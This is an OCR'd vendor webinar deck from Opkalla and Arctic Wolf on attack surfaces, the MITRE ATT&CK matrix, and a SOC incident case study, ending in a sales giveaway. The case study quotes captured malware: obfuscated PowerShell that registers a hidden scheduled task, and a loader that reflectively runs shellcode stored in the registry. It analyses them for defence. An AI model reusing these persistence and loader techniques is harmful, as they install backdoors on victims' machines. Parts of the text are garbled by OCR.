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ABOUT OPKALLA

We are vendor-agnostic advisors helping IT professionals research, compare
and implement the right IT solutions for their needs. Since our inception in
2019, we've completed more than 2500 evaluations for clients.




OPKALLA
SOLUTION PORTFOLIO @

=0 @

(@

ron | e
Cloud Contact Public Cloud Colocation Cybersecurity = Disaster Recovery  Helpdesk as a
Center Solutions & Backup Service
0 —, =
Infrastructure Connectivity Microsoft 365 SD-WAN Unified Virtual

Communication Desktops
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THE LEADER IN

O * What is your attack surface?

* The set of points on the boundary of a system, a
system element, or an environment where an attacker
can try to enter.

* Network

Identity

Endpoint

Cloud

DNS

Applications

yO u r atta C k * How to identify your attack surface?

e Build a security program
 Define assets — Helps set a protection charter!

surface. R

Defining your you attack surface sets up the charter for
what components to monitor

ldentifying
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THE LEADER IN

* There are several tools/solutions in the market

<:><3 today, but they aren’t all equal in attack surface

coverage.

* This can be confusing to consumers as the
marketing engine puts a spin on things.

EDR / MDR / XDR * All monitoring solutions (which is good) but
/ SOC-as-a-Service

coverage may vary.

Co-Managed SIEM

/ SI E M (CO EDR IMSSP Pure Play Product/SIEM XDR SOAR
vmware
o Secureworks A . ‘ 5
d | Y W BATIOD OFireEye ’J exabeam
M a n a ge ’ D ’ empE]' /\ALERT LOGIC \a’ DARK N\ )
T AT&T Cybersecurity F:RTINET \\\\ Splunk
o
M SS P ) @ Netsurion. EventTracker Radar AL RAPIDD
\\‘\ CRITICALSTART () ESENTIRE Splunk' SOPHOS T
OPTIV A PERCH  :logrhythm %2 Paloalto .:iogrhythm
X\ A
i RELIAQUEST 71 FIELD EFFECT ¢ SWIMLANE
nd@camry : g
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) BINARY DEFENSE
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OO

MITRE
ATT&CK

Matrix
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THE LEADER IN

What is the MITRE ATT&CK Matrix?

* Matrix/Model to document attack behaviors and
techniques of real work observations/adversaries.

* Meant to be used by organizations to help improve
security posture.

» Offer various matrices. (Enterprise, ICS and Mobile)

e Allows for communication in a common language
about behaviors of adversaries

e Constantly being updated and enhanced



()

ATT&CK

Uses/Tools
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THE LEADER IN

* How do organizations leverage ATT&CK?

Threat Informed Defense — An approach that provides a deep
undelzstandmg of adversaries in order to Detect/Prevent and Respond to
attacks.

Adversary Emulation — Intelligence-Driven Emulation of adversary with
the intent to provide assessment of how well you fair against adversary.

SOC Assessments - SOC Analysis if current and ongoing detections

Threat Intelligence — Leveraging knowledge about adversaries' behaviors

in order to provide defenders/organizations information needed to
improve defenses.

Quantitative Scoring - Measuring progress.

All these ultimately help make informed decisions!




MITRE | ATT&CK" Matrices  Tactics ~  Techniques ~  Data Sourc

THE LEADER IN

lactics ATT&CK Matrix for Enterprise

/ layout: side show sub-techniques  hide sub-techniques

Initial Access Executior Per

Reconnaissanc

tratior

M

niques 15 techniques 29 techniques 9 techniques 17 techniques 16 techniques 9 techniques

er

10 techniques

9 techniques 12 techniques 19 techniques

MITRE
ATT&CK
Matrix

Spearphishing Attachment

Phishing: Spearphishing Attachmeﬁt

Other sub-techniques of Phishing (3) ¥ ID: T1566.001

Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is Sub-technique of: e

a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware D Tactic: Initial Access

attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In D Platforms: Linux, Windows, macOS

this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also i) CAPEC ID: CAPEC-163

involve social engineering techniques, such as posing as a trusted source. Contributors: Philip Winther
Version: 2.2

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment
(and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user’s system. The text of the Created: 02 March 2020

spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order Last Modified: 18 October 2021
to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary
defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files

exploiting one application appear to be a file for a different one.

©2021 Arctic Wolf Networks, Inc. All rights reserved. Classification: Public

Impact

13 techniques



Procedure Examples THE LEADER IN

ID Name Description
admin@338 admin@338 has sent emails with malicious Microsoft Office documents attached
Agent Tesla The primary delivered mechaism for Agent Tesla is through email phishing messages.

Mitigations

ID Mitigation Description

M104 Antivirus/Antimalwar Anti-virus can also automatically quarantine suspicious files
M1031 Network Intrusior Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.
Detection
ID Data Source Data Component
' ! L r > e Crea n

Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be us

[ J
signature and behavior based, but adversaries may construct attachments in a way to avoid these systems
O I I I I l e Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed
C u o000

References
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THE LEADER IN

OO

* Using the MITRE ATT&CK Tools
 ATT&CK Navigator

ATT&CK
.  The Center for Threat-Informed Defense
N aV|gatO r e The ATT&CK Matrix itself!
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ATT&CK
N aV|gatO r - « ATT&CK Navigator Demo
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about

AD/IdentityManagement

domain platforms ) r|egend ~
Linux, macOS, Wind ;
. Azure AD, Office 365 THE LEADER IN
Enterprise ATT&CK v10 laa$, Google Works
PRE, Network, Containers J

()

ATT&CK
techniques

detected via
AD/IM logs
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about domain \ (-platforms

THE LEADER IN
laas/Saas - Cloud Enterprise ATT&CK v10

J [ MLUIT MW, FNE, INSCWUIR, wUIlan ici>

Initial
Access

Privilege Defense Credential Lateral Command

Escalation Evasion Access Discovery Movement Collection and Control Exdiltration Impact

Persistence

Accart

Advena e ve aase
Mo nessgr

ATT&CK
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detected via
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about domain platforms B rlegend

Linux, macOS, Windov

. . reA ffi THE LEADER IN
Combined Enterprise ATT&CK v10 Azure/D, Ofics 965,
laaS, Google Workspa
PRE, Network, Containers J {
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ATT&CK

techniques
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detected via =
Endpoint, =
Network, AD/IM, S
laaS/SaaS logs
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Arctic Wolf Visibility

Palo Alto -‘ Meraki
Fortinet LI 1T 1 1 FireEye
2 i i AWS
Egress Traffic Mimecast E!SCO ?SA | | l ] | | | ] | Sf)chaII AWS
Managed IDS Proofpoint Isco FirePower Gep*
Z5caler Firewall
5%
[ \
Network
A
30%
Arctic. Wolf Sophos
Crowdstrike Defender ATP
S1 Cisco AMP
Carbon Black Cylance II— _"
Endpoint
15%
— N\ Y
External Host
Internal Account Takeover AD
p—
1\ Azure AD
Risks
5%

©2021 Arctic Wolf Networks, Inc. All rights reserved. Classification: Public

THE LEADER IN SECURITY OPERATIONS
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laasS
10%

Observations that lead to ticketed

incidents
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Suspicious Certificate

THE LEADER IN SECURITY OPERATIONS

Meterpreter or Other Reverse Shell SSL Cert

©2021 Arctic Wolf Networks, Inc. All rights reserved. Classification: Public

Alert picked up by AW sensor

Things to consider:

*  Ports used in communication

*  Reputation of remote IP/Host

 Does the remote host make sense?
 Can this be explained by a valid service?
* Ticket history



THE LEADER IN SECURITY OPERATIONS

Look for Secondary Indicators

* Reference Cyber Kill Chain

e Reconnaissance * Keeping the kill chain in mind
helps us visualize what kind of

* Weaponization 1 :
P indicators we’re looking for

) Dellve.ry . * |f this is hostile CnC we want to
* - Exploitation know what the bad actor is doing
e Installation and how they got there

ommand & Contro
e We’'re here!

* Actions on Objectives



THE LEADER IN SECURITY OPERATIONS

Possible Malicious PowerShell

Malware loves PowerShell

$a="0QA1ADCANAA4ADEAOAAADQAOWB ZAGWAZQB 1 AHAATAAt AHMATAA3ADEAOWAKAHgAbgBrADOARWB 1AHQAL QB I AHQAZQB tAF AAcgBVAHAAZQBYAHQAeQAZACOACABhAHQASAAZAC gAT gBoAGSATgArAC TAYB1ADOAXABZAGBAZgAIAC SATgBOAHCATgAr
ACTAYQByAGUAXABtAGKAYwAiACsATgByAGBACwAIACSATgBVAGYAdABCAFAAaABVAGAAZQBCACTAKWBbAEUAbEB2AGKAC gBVAGAADQB1AGAAJABAADOAOgB1 AHMAZQBYAGAAYQB t AGUAKwWA1 ADAATgApADsAZgBvAHIATAACACQAEAB jAGWAPQAWADSAJABA
AGMAbAAgAC@ADAB1ACAANWAXADQAOWAKAHgAY1B sAC sAKwApAHs AVAByAHKAewAKAHQAC gArADOAIABAAGAAaWAUACQALAB jAGWAFQBDAGEAJAB j AGgAewBIAHOAOWAKAHEAYWB s ADOAMAA7AHCAaABPAGWAZQAOACQAdABYAHUAZQAPAHS AT ABAAGMADAAr
ACsAOWAKAGsAbwAIAF sAbQBhAHQAaABAADOAOgAOAC TACWBXAC TAKwA I AHIAdAAL ACKAKAAKAHEAY B SACKAOWBPAGYAKAAKAGS AbwAgACBAZQBXACAAMQAWADAAMAAPAH S AY gByAGUAYQBrAHOAFQAKAGWAaAAIACQAdABYACAACgB1AHAADABhAGMAZQAG
ACIATwAiACWAIABrAGBAKQA7ACQACWBjAGSAPQBbAGI AeQBOAGUAWBAAF@AOgAGAC AT gBUAGUATgArACTAdwA I ACKAKAAKAGWAaAAUAEWAZQBUAGCAdABOACSAMgAPADsAZgBVAHI AKAAKAHgAYWB sADOAMAA7ACQAABJ AGWAT AAtAGWAJAAGACQADABO

AC4ATAB1AG4AAZWBOAGEAOWAKAHEgAYWBSACSAPQAYACkAewAKAHMAYWBrAF sATAB4AGMADAAVADIAXQASAF sAYwBvAG4AdgB1AHIAJABAADOAOgACACTIAVABVAEIAIgArACIAeQBOAGUAIgAPACgAIABSAGEALgBTAHUAYgBzAHQACgBpAGAAZWAOACQACAB]
AGWALAAYACKALAAGADI AKgA4ACKAKQBIAF sAcgB1AGYAbAB1AGMAdABPAGSAbgAUAGEACWBZAGUABQB1AGWAQBAADOAOgAOAC TATABVAC IAKWAL AGEAZAA]ACKAKAAKAHMAY B rACKAOWBDAESACAB1AGAAXQAG6ADOAKAAI AFQAZQAIACSAT gBZzAHQAI gAD
ACgAKQA7ADYAMAAGADTANAAGADTAOAAYADSA" ;

$u=$env:USERNAME;

Register-ScheduledTask $u -In (New-ScheduledTask -Ac (New-ScheduledTaskAction -E ([Diagnostics.Process]::GetCurrentProcess().MainModule.FileName) -Ar ("-w h -e "+$a)) -Tr (New-
ScheduledTaskTrigger -AtL -U $u));

- This alert was picked up by the AW agent; occurs before suspicious certificate

» PowerShell alerts area frequent source of false positives, but they’re also one of the first places
to look for evidence of malicious behavior

» This code by itself looks suspect just by the way it appears to be stuffing encoded PowerShell into
a new scheduled task, but we can dig a bit further into that encoded block

o A



THE LEADER IN SECURITY OPERATIONS

Encoded Scheduled Task
Probably not a printer mapping script

sleep -s 71;
$xnk=Get-ItemProperty -path ("hk"+"cu:\sof"+"tw"+"are\mic"+"ros"+"oft\Phone\"+[Environment]::username+"@");
for ($xcl=0;%xcl -le 714;%xcl++){
Try{$
tr+=%xnk. $xcl

}Catch{}
1.

I
$xcl=0;while($true){$xcl++;$ko=[math]:: ("sq"+"rt")($xcl);if($ko -eq 1000){break}}$1lh=3tr.replace("#",%ko);$sck=[byte[]]::("ne"+"w")($1h.Length/2);for($xcl=0;$xcl -1t $1h.Length;$xcl+=2){$sck
[$xcl/2])=[convert]::("ToB"+"yte")($1h.Substring($xcl,2),(2*8))}[reflection.assembly]::("Lo"+"ad")($sck);[Open]:: ("Te"+"st")();

* This script appears toread a byte array out-of the current user registry then load that data with
the reflection assembly then execute a “Test” method

* From these two code blocks we can deduce:
» The obfuscation and actions taken confirm this to be malicious
* These scripts cannot be the initial stage as they reference data already written to a registry hive
* These scripts appear to establish persistence
* We can say with a high degree of confidence this code is directly related to the reverse shell



THE LEADER IN SECURITY OPERATIONS

I’'m told jscript has legitimate uses

Malware Loves JScript

» Working backwards through Sysmon process logs we find a suspicious jscript process
which was launched by our affected user through Windows Explorer

- WScript.exe "C:\Users\<username>\AppData\Local\Temp\Temp1l draft of

sponsorship-agreement(75500).zip\draft_of sponsorship agreement
32330 .js”

 Discussions with the client point of contact reveal that the end user had been
attempting to download a “draft of sponsorship” form from a trusted site, but it “didn’t
work right” when they tried to open it



Reviewing The Kill Chain

Completing the picture

* Reconnaissance

This event did not appear to be targeted
this client

* Weaponization

. Weaponized jscript-file

* - Delivery

Jscript file inserted into a download from
replacing expected document

* Exploitation

User launched jscript file by double clicki
through explorer

THE LEADER IN SECURITY OPERATIONS

Installation

(stagel) Jscript creates registry entry with shell code,
launches (stage2) PowerShell script which installs a
(stage3) PowerShell script as a service which references

the stored shell code

Command & Control

Stage3 script launches as a service on user login and

establishes remote shell back to C&C

Actions on Objectives

Bad actors were observed conducting initial in-network

recon with tools such as BloodHound

o A



THE LEADER IN SECURITY OPERATIONS

summary

--Define what you are trying to protect

- MITRE can be used in:-a number of different ways to help make
informed decisions about your security.

- If you don’t have the bandwidth to proactively address the
more complex tasks look to a service to help! (Arctic Wolf!©)
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Schedule a meeting with
an Opkalla and Arctic Wolf
rep by May 13th to get
0 your $150 to Sunglass Hut.

Email Brice

(brice.ulrey@opkalla.com)

to schedule your meeting.

sunglass hut
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